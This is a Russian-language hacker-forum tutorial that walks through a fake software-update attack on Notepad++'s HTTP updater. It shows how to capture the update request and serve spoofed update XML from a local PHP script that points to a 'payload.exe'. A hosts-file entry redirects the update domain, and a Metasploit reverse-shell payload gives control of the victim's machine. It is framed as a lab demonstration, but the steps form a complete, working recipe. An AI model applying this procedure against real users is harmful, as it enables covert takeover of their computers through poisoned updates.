Взлом
Уважаемые гости! При посещении нашего сайта просим вас ознакомиться с разделами форума, прежде чем оставлять ваши объявления и т.п., а также при обращении за помощью просим быть внимательными: на сайте есть как проверенные специалисты, так и непроверенные. Если вы обратились к специалисту, который проверку НЕ проходил, рекомендуем воспользоваться услугой гарант-сервиса. Спасибо, что посетили форум хакеров.

bbc_Hash

Модератор
Команда форума
Пользователь
Регистрация
8 Янв 2019
Сообщения
527
Реакции
71
Баллы
118
[SIZE=12pt]В данной статье я хочу поговорить о теме которая меня давно интересует, а именно фейковое обновлении ПО. Мне вообще интересна тема [/SIZE][SIZE=12pt]MITM[/SIZE][SIZE=12pt] а в частности как проводить атаки внутри сети. Одним из векторов атаки является то самое фейковое обновление ПО. Примерно год назад мне попалась на глаза программа [/SIZE][SIZE=12pt]evilgrade[/SIZE][SIZE=12pt], сразу загорелся желанием разобраться как она работает. Попробовал разобрать с наскоку но что то пошло не так и я забил Сегодня я сново вернулся к этой теме и в этот раз я добился результат.[/SIZE]
[SIZE=12pt]Оговорю сразу, я не даю вам четкие инструкции как вам провести данную атаку или написать код чтобы автоматизировать процесс, я опишу методологию того как это происходит и покажу пример который наглядно покажет о чем идет речь. Суть данного материала показать как работает данная атака на примитивном уровне. Давайте выйдем за рамки скрипт-кидди и повысим свой уровень знаний в данной области Бездумно использовать готовый софт могут все, а понять как он работает далеко не многие.[/SIZE]
[SIZE=20pt]Теория:[/SIZE]
[SIZE=12pt]Прежде чем углубиться в атаку давайте разберем механизм обновление ПО.[/SIZE]
[SIZE=20pt]Этапы обновление ПО:[/SIZE]
  1. [SIZE=12pt]Отправляем на сервер запрос для проверки обновления (это может делать как сама программа в автоматическом режиме так и выполнен запрос в ручную)[/SIZE]
  2. [SIZE=12pt]Получаем ответ от сервера[/SIZE]
  3. [SIZE=12pt]Обработка ответа (если обновление есть то устанавливаем если нет то сообщаем о том что программа не имеет обновлений)[/SIZE]
[SIZE=12pt]После того как у нас сформировалось понимание того как проходит процесс обновление ПО мы можем сформировать этапы атаки.[/SIZE]
[SIZE=20pt]Этапы проведения атаки:[/SIZE]
  1. [SIZE=12pt]Определить запрос отправленный на сервер обновления[/SIZE]
  2. [SIZE=12pt]Посмотреть ответ который прислала сервер[/SIZE]
  3. [SIZE=12pt]Понимаем свой сервер[/SIZE]
  4. [SIZE=12pt]Реализовать атаку типа [/SIZE][SIZE=12pt]DNS[/SIZE] [SIZE=12pt]Spoofing[/SIZE][SIZE=12pt] на адрес сервера обновлений[/SIZE]
  5. [SIZE=12pt]Сформировать свой ответ на основе полученного ответа в пункте 2[/SIZE]
[SIZE=12pt]Когда этапы атаки обозначены можно приступить к реализации. Пока что на уровне теории можете не особо понятно о чем идет речь но скоро мы перейдем к примеру который наглядно покажет что к чему. Возьмем для примера программу [/SIZE][SIZE=12pt]Notepad[/SIZE][SIZE=12pt]++, она идеально подойдет для того чтобы наглядно показать данный вектор атаки.[/SIZE]
[SIZE=20pt]Практика:[/SIZE]
[SIZE=12pt]Для того чтобы мы могли выполнить все этапы атаки нам понадобиться следующие программы:[/SIZE]
  • [SIZE=12pt]Notepad++[/SIZE]
  • [SIZE=12pt]XAMPP[/SIZE]
  • [SIZE=12pt]Wireshark[/SIZE]
[SIZE=12pt]Начнем с установки Notepad++. После того как мы установили программу надо проверить ее обновление. Находим знак ? нажимаем на него в выпадающем меню выбираем “Обновить Notepad++”.[/SIZE]
[SIZE=12pt]Появляется окно которое нам предлагает скачать обновление. Это нам как раз и надо.[/SIZE]
[SIZE=12pt]Нажимаем отмена, открываем Wireshark. Выбираем сетевой адаптер (тут мог выразиться не точно).[/SIZE]
[SIZE=12pt]Выставляем фильтр HTTP. Повторяем процесс запроса но обновления ждем пару секунд останавливаем Wireshark. И начинаем смотреть перехваченные пакеты. В поле info мы можем заметить что есть GET запрос с URL который начинается на update.[/SIZE]
[SIZE=12pt]Просмотров данный запрос более детально мы видим Full request который ведет на URL notepad-plus-plus.org. Чтобы убедиться что это то что нам надо давайте перейдем на полный URL [/SIZE][SIZE=12pt]http://notepad-plus-plus.org/update/getDownloadUrl.php?version=6.0[/SIZE][SIZE=12pt]. В ответ мы получим XML который говорит нам о том что есть новое обновление.[/SIZE]
[SIZE=12pt]<GUP>[/SIZE]
[SIZE=12pt] <NeedToBeUpdated>yes</NeedToBeUpdated>[/SIZE]
[SIZE=12pt] <Version>7.5.9</Version>[/SIZE]
[SIZE=12pt] <Location>http://notepad-plus-plus.org/repository/7.x/7.5.9/npp.7.5.9.Installer.exe</Location>[/SIZE]
[SIZE=12pt]</GUP>[/SIZE]
[SIZE=12pt]На этом этапе у нас есть мы нашли интересующий нас запрос и узнали какой требуются ответ чтобы его распознала программа. На этом сбор данных закончен приступим к атаке. Так как тест проводиться в лабораторных условия я некоторые моменты упростил а именно [/SIZE][SIZE=12pt]DNS[/SIZE] [SIZE=12pt]Spoofing[/SIZE][SIZE=12pt] и поднятие сервера в локальной сети. Третий и четвертый пункт будут проводиться на атакуемой машине но это не столь важно так как не вредит чистоте теста.[/SIZE]
[SIZE=12pt]Устанавливаем XAMPP. Включаем Apache.[/SIZE]
[SIZE=12pt]Переходим в каталог где лежит сайт по умолчанию C:\xampp\htdocs. Создаем там две директории update и repository. Каталог update обязателен так как он есть в URL который запрашивает обновление там будет лежать файл [/SIZE][SIZE=12pt]getDownloadUrl[/SIZE][SIZE=12pt].[/SIZE][SIZE=12pt]php[/SIZE][SIZE=12pt]. Директория repository не обязателен так как мы сами указываем откуда загружаться payload в XML который будем отдавать в ответ на запрос но для красоты и порядка положим именно туда нашу пользовательскую нагрузку.[/SIZE]
[SIZE=12pt]Переходим в каталог update и создаем файл [/SIZE][SIZE=12pt]getDownloadUrl[/SIZE][SIZE=12pt].[/SIZE][SIZE=12pt]php[/SIZE][SIZE=12pt] со следующим содержанием.[/SIZE]
[SIZE=12pt]<?php[/SIZE]
[SIZE=12pt]header('Content-type: text/xml');[/SIZE]

[SIZE=12pt]$xml = <<<XML[/SIZE]
[SIZE=12pt]<GUP>[/SIZE]
[SIZE=12pt]<NeedToBeUpdated>yes</NeedToBeUpdated>[/SIZE]
[SIZE=12pt]<Version>7.5.9</Version>[/SIZE]
[SIZE=12pt]<Location>http://notepad-plus-plus.org/repository/payload.exe</Location>[/SIZE]
[SIZE=12pt]</GUP>[/SIZE]
[SIZE=12pt]XML;[/SIZE]

[SIZE=12pt]echo $xml;[/SIZE]
[SIZE=12pt]Данный код выводит все тот же XML который мы получили ранения с одним изменением. В тэг Location мы установили свой путь к файлу с payload который находиться в директории repository. Payload я создал на Kali. Пример как это делать можно посмотреть в статье [Metasploit] устанавливаем обратное TCP соединение через ngrok[/SIZE]. После того как вы получили exe файл положите его в каталог repository.
[SIZE=12pt]Теперь давайте перейдем по адресу http://localhost/repository/ и убедимся что там лежит на payload файла. [/SIZE]
[SIZE=12pt]А также проверим отдается ли наш сконфигурированный XML по адресу http://localhost/update/getDownloadUrl.php. [/SIZE]
[SIZE=12pt]Если у вас все сходиться с примерами на скриншотах тогда вы делаете все правильно. Осталось совсем немного) а именно надо заставить идти запросы на наш сервер. Тут мы можем прибегнуть к [/SIZE][SIZE=12pt]DNS Spoofing[/SIZE][SIZE=12pt] но как я говорил ранее мы упростим данный шаг. Идем в каталог etc который находиться по пути C:\Windows\System32\drivers\etc[/SIZE] и добавляем в конец файл hosts 127.0.0.1 notepad-plus-plus.org. Тем самым мы говорим нашей системе чтобы все запросы которые идут на notepad-plus-plus.org шли на locolhost. На этом подготовка закончена осталось проверить.
[SIZE=12pt]Идем в Notepad++ запускаем проверку обновления. Соглашаемся скачать обновления. После того как обновление скачается появиться еще одно окно.[/SIZE]
[SIZE=12pt]Соглашаемся. Notepad++ закроется а наш payload выполнится. Вот мы и получили контроль над машиной в локальной сети незаметно для атакуемого пользователя.[/SIZE]
[SIZE=12pt]Я надеюсь что статья была полезной и вы вынесли для себя что то новое. Данный вид атаки сработает далеко не со всеми программами. Но с какой то частью точно. Как поступить с полученными знаниями зависит только от вас.[/SIZE]
 
Яндекс.Метрика